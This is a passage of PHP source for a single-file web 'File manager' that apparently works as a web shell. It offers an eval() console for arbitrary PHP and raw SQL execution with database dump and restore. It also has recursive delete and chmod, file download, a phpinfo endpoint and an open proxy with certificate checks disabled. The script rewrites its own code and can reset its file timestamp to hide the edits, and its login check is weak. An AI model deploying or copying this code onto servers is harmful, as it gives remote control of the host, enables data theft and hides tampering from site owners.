		        $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 }	else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }	

		        $lang_hearts = json_decode($translation_string,true);

	}

}


/* Functions */


//translation

function __($text){

	global $lang_hearts;

	if (isset($lang_hearts[$text])) return $lang_hearts[$text];

	else return $text;

};


//delete files and dirs recursively

function fm_del_files($file, $recursive = false) {

	if($recursive && @is_dir($file)) {

		        $els = fm_scan_dir($file, '', '', true);

		        foreach ($els as $el) {

                                 if($el != '.' && $el != '..'){

                                 	fm_del_files($file . '/' . $el, true);

                                 }

		        }

	}

	if(@is_dir($file)) {

		        return rmdir($file);

	} else {

		        return @unlink($file);

	}

}


//file perms

function fm_rights_string($file, $if = false){

	$perms = fileperms($file);

	$info = '';

	if(!$if){

		        if (($perms & 0xC000) == 0xC000) {

                                 //Socket

                                 $info = 's';

		        } elseif (($perms & 0xA000) == 0xA000) {

                                 //Symbolic Link

                                 $info = 'l';

		        } elseif (($perms & 0x8000) == 0x8000) {

                                 //Regular

                                 $info = '-';

		        } elseif (($perms & 0x6000) == 0x6000) {

                                 //Block special

                                 $info = 'b';

		        } elseif (($perms & 0x4000) == 0x4000) {

                                 //Directory

                                 $info = 'd';

		        } elseif (($perms & 0x2000) == 0x2000) {

                                 //Character special

                                 $info = 'c';

		        } elseif (($perms & 0x1000) == 0x1000) {

                                 //FIFO pipe

                                 $info = 'p';

		        } else {

                                 //Unknown

                                 $info = 'u';

		        }

	}

  
	//Owner

	$info .= (($perms & 0x0100) ? 'r' : '-');

	$info .= (($perms & 0x0080) ? 'w' : '-');

	$info .= (($perms & 0x0040) ?

	(($perms & 0x0800) ? 's' : 'x' ) :

	(($perms & 0x0800) ? 'S' : '-'));

 
	//Group

	$info .= (($perms & 0x0020) ? 'r' : '-');

	$info .= (($perms & 0x0010) ? 'w' : '-');

	$info .= (($perms & 0x0008) ?

	(($perms & 0x0400) ? 's' : 'x' ) :

	(($perms & 0x0400) ? 'S' : '-'));

 
	//World

	$info .= (($perms & 0x0004) ? 'r' : '-');

	$info .= (($perms & 0x0002) ? 'w' : '-');

	$info .= (($perms & 0x0001) ?

	(($perms & 0x0200) ? 't' : 'x' ) :

	(($perms & 0x0200) ? 'T' : '-'));


	return $info;

}


function fm_convert_rights($mode) {

	$mode = str_pad($mode,9,'-');

	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	$mode = strtr($mode,$trans);

	$newmode = '0';

	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 

	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 

	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 

	$newmode .= $owner . $group . $world;

	return intval($newmode, 8);

}


function fm_chmod($file, $val, $rec = false) {

	$res = @chmod(realpath($file), $val);

	if(@is_dir($file) && $rec){

		        $els = fm_scan_dir($file);

		        foreach ($els as $el) {

                                 $res = $res && fm_chmod($file . '/' . $el, $val, true);

		        }

	}

	return $res;

}


//load files

function fm_download($filename_with_extension) {

                        if (!empty($filename_with_extension)) {

		        if (file_exists($filename_with_extension)) {

                                 header("Content-Disposition: attachment; filename=" . basename($filename_with_extension));   

                                 header("Content-Type: application/force-download");

                                 header("Content-Type: application/octet-stream");

                                 header("Content-Type: application/download");

                                 header("Content-Description: File Transfer");                                                                        

                                 header("Content-Length: " . filesize($filename_with_extension));		        

                                 flush(); // this doesn't really matter.

                                 $fp = fopen($filename_with_extension, "r");

                                 while (!feof($fp)) {

                                 	echo fread($fp, 65536);

                                 	flush(); // this is essential for large downloads

                                 } 

                                 fclose($fp);

                                 die();

		        } else {

                                 header('HTTP/1.0 404 Not Found', true, 404);

                                 header('Status: 404 Not Found'); 

                                 die();

                                                }

                        } 

}


//show folder size

function fm_dir_size($f,$format=true) {

	if($format)  {

		        $size=fm_dir_size($f,false);

		        if($size<=1024) return $size.' bytes';

		        elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';

		        elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

		        elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

		        elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))

		        else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)

	} else {

		        if(is_file($f)) return filesize($f);

		        $size=0;

		        $dh=opendir($f);

		        while(($file=readdir($dh))!==false) {

                                 if($file=='.' || $file=='..') continue;

                                 if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);

                                 else $size+=fm_dir_size($f.'/'.$file,false);

		        }

		        closedir($dh);

		        return $size+filesize($f); 

	}

}


//scan directory

function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {

	$dir = $ndir = array();

	if(!empty($exp)){

		        $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';

	}

	if(!empty($type) && $type !== 'all'){

		        $func = 'is_' . $type;

	}

	if(@is_dir($directory)){

		        $fh = opendir($directory);

		        while (false !== ($filename = readdir($fh))) {

                                 if(substr($filename, 0, 1) != '.' || $do_not_filter) {

                                 	if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){

                                 		        $dir[] = $filename;

                                 	}

                                 }

		        }

		        closedir($fh);

		        natsort($dir);

	}

	return $dir;

}


function fm_link($get,$link,$name,$title='') {

	if (empty($title)) $title=$name.' '.basename($link);

	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';

}


function fm_arr_to_option($arr,$n,$sel=''){

	foreach($arr as $v){

		        $b=$v[$n];

		        $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';

	}

	return $res;

}


function fm_lang_form ($current='en'){

return '

<form name="change_lang" method="post" action="">

	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >

		        <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>

		        <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>

		        <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

		        <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>

		        <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	</select>

</form>

';

}

	
function fm_root($dirname){

	return ($dirname=='.' OR $dirname=='..');

}


function fm_php($string){

	$display_errors=ini_get('display_errors');

	ini_set('display_errors', '1');

	ob_start();

	eval(trim($string));

	$text = ob_get_contents();

	ob_end_clean();

	ini_set('display_errors', $display_errors);

	return $text;

}


//SHOW DATABASES

function fm_sql_connect(){

	global $fmo_config;

	return new mysqli($fmo_config['sql_server'], $fmo_config['sql_username'], $fmo_config['sql_password'], $fmo_config['sql_db']);

}


function fm_sql($query){

	global $fmo_config;

	$query=trim($query);

	ob_start();

	$connection = fm_sql_connect();

	if ($connection->connect_error) {

		        ob_end_clean();	

		        return $connection->connect_error;

	}

	$connection->set_charset('utf8');

                        $queried = mysqli_query($connection,$query);

	if ($queried===false) {

		        ob_end_clean();	

		        return mysqli_error($connection);

                        } else {

		        if(!empty($queried)){

                                 while($row = mysqli_fetch_assoc($queried)) {

                                 	$query_result[]=  $row;

                                 }

		        }

		        $vdump=empty($query_result)?'':var_export($query_result,true);	

		        ob_end_clean();	

		        $connection->close();

		        return '<pre>'.stripslashes($vdump).'</pre>';

	}

}


function fm_backup_tables($tables = '*', $full_backup = true) {

	global $path;

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

	if($tables == '*')	{

		        $tables = array();

		        $result = $mysqldb->query('SHOW TABLES');

		        while($row = mysqli_fetch_row($result))	{

                                 $tables[] = $row[0];

		        }

	} else {

		        $tables = is_array($tables) ? $tables : explode(',',$tables);

	}

                        
	$return='';

	foreach($tables as $table)	{

		        $result = $mysqldb->query('SELECT * FROM '.$table);

		        $num_fields = mysqli_num_fields($result);

		        $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;

		        $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

		        $return.=$row2[1].$delimiter;

                                                if ($full_backup) {

		        for ($i = 0; $i < $num_fields; $i++)  {

                                 while($row = mysqli_fetch_row($result)) {

                                 	$return.= 'INSERT INTO `'.$table.'` VALUES(';

                                 	for($j=0; $j<$num_fields; $j++)	{

                                 		        $row[$j] = addslashes($row[$j]);

                                 		        $row[$j] = str_replace("\n","\\n",$row[$j]);

                                 		        if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

                                 		        if ($j<($num_fields-1)) { $return.= ','; }

                                 	}

                                 	$return.= ')'.$delimiter;

                                 }

		          }

		        } else { 

		        $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);

		        }

		        $return.="\n\n\n";

	}


	//save file

                        $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	$handle = fopen($file,'w+');

	fwrite($handle,$return);

	fclose($handle);

	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';

                        return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

}


function fm_restore_tables($sqlFileToExecute) {

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

                        // Load and explode the sql file

                        $f = fopen($sqlFileToExecute,"r+");

                        $sqlFile = fread($f,filesize($sqlFileToExecute));

                        $sqlArray = explode($delimiter,$sqlFile);

	
                        //Process the sql file by statements

                        foreach ($sqlArray as $stmt) {

                                                if (strlen($stmt)>3){

                                 $result = $mysqldb->query($stmt);

                                 	if (!$result){

                                 		        $sqlErrorCode = mysqli_errno($mysqldb->connection);

                                 		        $sqlErrorText = mysqli_error($mysqldb->connection);

                                 		        $sqlStmt                          = $stmt;

                                 		        break;

                                                   	                         }

                                                   	  }

                                                   }

if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;

else return $sqlErrorText.'<br/>'.$stmt;

}


function fm_img_link($filename){

	return './'.basename(__FILE__).'?img='.base64_encode($filename);

}


function fm_home_style(){

	return '

input, input.fm_input {

	text-indent: 2px;

}


input, textarea, select, input.fm_input {

	color: black;

	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	border-color: black;

	background-color: #FCFCFC none !important;

	border-radius: 0;

	padding: 2px;

}


input.fm_input {

	background: #FCFCFC none !important;

	cursor: pointer;

}


.home {

	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	background-repeat: no-repeat;

}';

}


function fm_config_checkbox_row($name,$value) {

	global $fmo_config;

	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fmo_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';

}


function fm_protocol() {

	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';

	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';

	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	return 'http://';

}


function fm_site_url() {

	return fm_protocol().$_SERVER['HTTP_HOST'];

}


function fm_url($full=false) {

	$host=$full?fm_site_url():'.';

	return $host.'/'.basename(__FILE__);

}


function fm_home($full=false){

	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}


function fm_run_input($lng) {

	global $fmo_config;

	$return = !empty($fmo_config['enable_'.$lng.'_console']) ? 

	'

                                 	<form  method="post" action="'.fm_url().'" style="display:inline">

                                 	<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

                                 	</form>

' : '';

	return $return;

}


function fm_url_proxy($matches) {

	$link = str_replace('&amp;','&',$matches[2]);

	$url = isset($_GET['url'])?$_GET['url']:'';

	$parse_url = parse_url($url);

	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';

	if (substr($link,0,2)=='//') {

		        $link = substr_replace($link,fm_protocol(),0,2);

	} elseif (substr($link,0,1)=='/') {

		        $link = substr_replace($link,$host,0,1);	

	} elseif (substr($link,0,2)=='./') {

		        $link = substr_replace($link,$host,0,2);	

	} elseif (substr($link,0,4)=='http') {

		        //alles machen wunderschon

	} else {

		        $link = $host.$link;

	} 

	if ($matches[1]=='href' && !strripos($link, 'css')) {

		        $base = fm_site_url().'/'.basename(__FILE__);

		        $baseq = $base.'?proxy=true&url=';

		        $link = $baseq.urlencode($link);

	} elseif (strripos($link, 'css')){

		        //как-то тоже подменять надо

	}

	return $matches[1].'="'.$link.'"';

}

 
function fm_tpl_form($lng_tpl) {

	global ${$lng_tpl.'_templates'};

	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);

	$str = '';

	foreach ($tpl_arr as $ktpl=>$vtpl) {

		        $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	}

return '

<table>

<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>

'.$str.'

<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>

</form>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>

</form>

</table>

';

}


function find_text_in_files($dir, $mask, $text) {

                        $results = array();

                        if ($handle = opendir($dir)) {

                                                while (false !== ($entry = readdir($handle))) {

                                                                        if ($entry != "." && $entry != "..") {

                                                                                                $path = $dir . "/" . $entry;

                                                                                                if (is_dir($path)) {

                                                                                                                        $results = array_merge($results, find_text_in_files($path, $mask, $text));

                                                                                                } else {

                                                                                                                        if (fnmatch($mask, $entry)) {

                                                                                                                                                $contents = file_get_contents($path);

                                                                                                                                                if (strpos($contents, $text) !== false) {

                                                                                                                                                                        $results[] = str_replace('//', '/', $path);

                                                                                                                                                }

                                                                                                                        }

                                                                                                }

                                                                        }

                                                }

                                                closedir($handle);

                        }

                        return $results;

}



/* End Functions */


// authorization

if ($auth_mydevice['authorize']) {

	if (isset($_POST['login']) && isset($_POST['password'])){

		        if (($_POST['login']==$auth_mydevice['login']) && ($_POST['password']==$auth_mydevice['password'])) {

                                 setcookie($auth_mydevice['cookie_name'], $auth_mydevice['login'].'|'.md5($auth_mydevice['password']), time() + (86400 * $auth_mydevice['days_authorization']));

                                 $_COOKIE[$auth_mydevice['cookie_name']]=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']);

		        }

	}

	if (!isset($_COOKIE[$auth_mydevice['cookie_name']]) OR ($_COOKIE[$auth_mydevice['cookie_name']]!=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']))) {

		        echo '

<!doctype html>

<html>

<head>

<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>'.__('File manager').'</title>

</head>

<body>

<form action="" method="post">

'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;

'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;

<input type="submit" value="'.__('Enter').'" class="fm_input">

</form>

'.fm_lang_form($language_benros).'

</body>

</html>

';  

die();

	}

	if (isset($_POST['quit'])) {

		        unset($_COOKIE[$auth_mydevice['cookie_name']]);

		        setcookie($auth_mydevice['cookie_name'], '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);

	}

}


// Change config

if (isset($_GET['fm_settings'])) {

	if (isset($_GET['fm_config_delete'])) { 

		        unset($_COOKIE['fm_config']);

		        setcookie('fm_config', '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_url().'?fm_settings=true');

		        exit(0);

	}	elseif (isset($_POST['fm_config'])) { 

		        $fmo_config = $_POST['fm_config'];

		        setcookie('fm_config', serialize($fmo_config), time() + (86400 * $auth_mydevice['days_authorization']));

		        $_COOKIE['fm_config'] = serialize($fmo_config);

		        $msg_now = __('Settings').' '.__('done');

	}	elseif (isset($_POST['fm_login'])) { 

		        if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

		        $fm_login = json_encode($_POST['fm_login']);

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 	if ($_POST['fm_login']['login'] != $auth_mydevice['login']) $msg_now .= ' '.__('Login').': '.$_POST['fm_login']['login'];

                                 	if ($_POST['fm_login']['password'] != $auth_mydevice['password']) $msg_now .= ' '.__('Password').': '.$_POST['fm_login']['password'];

                                 	$auth_mydevice = $_POST['fm_login'];

                                 }

                                 else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }

	} elseif (isset($_POST['tpl_edited'])) { 

		        $lng_tpl = $_POST['tpl_edited'];

		        if (!empty($_POST[$lng_tpl.'_name'])) {

                                 $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

		        } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

                                 $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);

		        }

		        if (!empty($fm_php)) {

                                 $fgc = file_get_contents(__FILE__);

                                 $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

                                 if (!empty($matches[1])) {

                                 	$filemtime = filemtime(__FILE__);

                                 	$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);

                                 	if (file_put_contents(__FILE__, $replace)) {

                                 		        ${$lng_tpl.'_templates'} = $fm_php;

                                 		        $msg_now .= __('File updated');

                                 	} else $msg_now .= __('Error occurred');

                                 	if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

                                 }	

		        } else $msg_now .= __('Error occurred');

	}

}


// Just show image

if (isset($_GET['img'])) {

	$file=base64_decode($_GET['img']);

	if ($info=getimagesize($file)){

		        switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

                                 case 1: $ext='gif'; break;

                                 case 2: $ext='jpeg'; break;

                                 case 3: $ext='png'; break;

                                 case 6: $ext='bmp'; break;

                                 default: die();

		        }

		        header("Content-type: image/$ext");

		        echo file_get_contents($file);

		        die();

	}

}


// Just download file

if (isset($_GET['download'])) {

	$file=base64_decode($_GET['download']);

	fm_download($file);	

}


// Just show info

if (isset($_GET['phpinfo'])) {

	phpinfo(); 

	die();

}


// Mini proxy, many bugs!

if (isset($_GET['proxy']) && (!empty($fmo_config['enable_proxy']))) {

	$url = isset($_GET['url'])?urldecode($_GET['url']):'';

	$proxy_form = '

<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">

	<form action="" method="GET">

	<input type="hidden" name="proxy" value="true">

	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">

	<input type="submit" value="'.__('Show').'" class="fm_input">

	</form>

</div>

';

	if ($url) {

		        $ch = curl_init($url);

		        curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

		        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

		        curl_setopt($ch, CURLOPT_HEADER, 0);

		        curl_setopt($ch, CURLOPT_REFERER, $url);

		        curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);

		        $result = curl_exec($ch);

		        curl_close($ch);

		        //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);

		        $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);

		        $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

		        echo $result;

		        die();

	} 

}

?>
<!doctype html>

<html>

<head>                         

	<meta charset="utf-8" />

	<meta name="viewport" content="width=device-width, initial-scale=1" />

                        <title><?=__('File manager')?></title>

<style>

body {

	background-color:	white;

	font-family:		        Verdana, Arial, Helvetica, sans-serif;

	font-size:                                 8pt;

	margin:                                 	0px;

}


a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }

a.th:link { color: #FFA34F; text-decoration: none; }

a.th:active { color: #FFA34F; text-decoration: none; }

a.th:visited { color: #FFA34F; text-decoration: none; }

a.th:hover {  color: #FFA34F; text-decoration: underline; }


table.bg {

	background-color: #ACBBC6

}


th, td { 

	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;

	padding: 3px;

}


th	{

	height:                                 	25px;

	background-color:	#006699;

	color:                                 	#FFA34F;

	font-weight:		        bold;

	font-size:                                 11px;

}


.row1 {

	background-color:	#EFEFEF;

}


.row2 {

	background-color:	#DEE3E7;

}


.row3 {

	background-color:	#D1D7DC;

	padding: 5px;

}


tr.row1:hover {

	background-color:	#F3FCFC;

}


tr.row2:hover {

	background-color:	#F0F6F6;

}


.whole {

	width: 100%;

}


.all tbody td:first-child{width:100%;}


textarea {

	font: 9pt 'Courier New', courier;

	line-height: 125%;

	padding: 5px;

}


.textarea_input {

	height: 1em;

}


.textarea_input:focus {

	height: auto;

}


input[type=submit]{

	background: #FCFCFC none !important;

	cursor: pointer;

}


.folder {

                        background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yA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Txw2VUwAAAAAElFTkSuQmCC");

}


.file {

